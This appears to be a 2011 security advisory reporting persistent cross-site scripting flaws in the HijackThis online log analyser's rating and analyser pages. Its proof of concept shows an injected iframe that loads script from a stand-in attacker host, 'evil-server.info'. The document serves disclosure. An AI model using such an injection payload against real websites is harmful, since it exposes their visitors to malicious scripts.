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HijackThis Log Analyse - Multiple Web Vulnerabilities
🗓️ 22 Jul 2011 00:00:00Reported by Vulnerability Research Laboratory - N/A AnonymousType 
vulnerlab🔗 www.vulnerability-lab.com👁 24 Views
Document Title:
===============
HijackThis Log Analyse - Multiple Web Vulnerabilities
Release Date:
=============
2011-07-22
Vulnerability Laboratory ID (VL-ID):
====================================
107
Product & Service Introduction:
===============================
HijackThis opens you a possibility to find and fix nasty entries on your computer easier.
Therefore it will scan special parts in the registry and on your harddisk and compare them with the default settings.
If there is some abnormality detected on your computer HijackThis will save them into a logfile. In order to find out what
entries are nasty and what are installed by the user, you need some background information. A logfile is not so easy to analyze.
Even for an advanced computer user. With the help of this automatic analyzer you are able to get some additional support. Just
paste your complete logfile into the textbox at the bottom of this page. Due to a few misunderstandings, I just want to make it
clear that this site provides only an online analysis, and not HijackThis the program.
(Copy of the Vendor Homepage: http://www.hijackthis.de/)
Abstract Advisory Information:
==============================
Vulnerability Lab Team discovered multiple Web Vulnerabilities on Hijackthis Log Analyses Website Service.
Vulnerability Disclosure Timeline:
==================================
2011-07-21: Public or Non-Public Disclosure
Discovery Status:
=================
Published
Affected Product(s):
====================
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
Multiple persistent Input Validation Vulnerabilities are detected on the famous HijackThis Log Analyse web service.
A remote attacker is able to include own malicious persistent script codes on the web application service.
Vulnerable Module(s):
[+] User Assesment
[+] Process Information
[+] Analyzer
References:
http://www.hijackthis.de/rating.php?hjteintrag=
http://www.hijackthis.de/analyzer.php?line=
Pictures:
../assessment-process.png
../rating-process.png
Example Thread:
Kaspersky Lab\\Kaspersky Internet Security 2010\\avp.exe
Attackers can include Scripts using the rating / assesment function into the process description.
After the include process is completed, the script code is persistently executed when a customer checks the process of kaspersky(example|avp.exe)
Proof of Concept (PoC):
=======================
This Vulnerability can be exploited by remote attackers. For demonstration or reproduce ...
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>HijackThis</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link href="gfx/design.css" rel="stylesheet" type="text/css">
</head>
<body>
<div class="contentBox">
<div class="title">Visitor's assessment</div>
<div class="alt2">C:\Program Files (x86)\Kaspersky Lab\Kaspersky Internet Security 2010\avp.exe<br/><b><font color="#990000"></font></b></div>
</div>
<br><hr />
<div class="contentBox">
<div class="alt1">
<img src="./gfx/state/rating_5.gif" alt="Visitor's assessment" title="Visitor's assessment"> <br>17.03.2010 - >"<iframe src=http://evil-server.info/malicious.js width=600 height=600>
</div>
<div class="alt2">
<img src="./gfx/state/rating_5.gif" alt="Visitor's assessment" title="Visitor's assessment"> <br>20.01.2010 - Nicht schädlich!
Ist Bestandteil vin Kaspersky Internet Security 2010!
</div>
<div class="alt1">
<img src="./gfx/state/rating_5.gif" alt="Visitor's assessment" title="Visitor's assessment"> <br>19.01.2010 - Kaspersky System Security Software.
</div>
<div class="alt2">
<img src="./gfx/state/rating_5.gif" alt="Visitor's assessment" title="Visitor's assessment"> <br>14.12.2009 - Kaspersky Internet Security
</div>
</div>
<br><hr>
<img src="http://forum.hijackthis.de/images_en/buttons/threadclosed.gif" border="0" alt="Kommentarbereich geschlossen / Comments closed">
<hr/>
</body>
</html>
Security Risk:
==============
The security risk is estimated as medium due to the persistent include method.
Credits & Authors:
==================
Vulnerability Research Laboratory - N/A Anonymous
Disclaimer & Information:
=========================
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22 Jul 2011 00:00Current
7.1High risk
Vulners AI Score7.1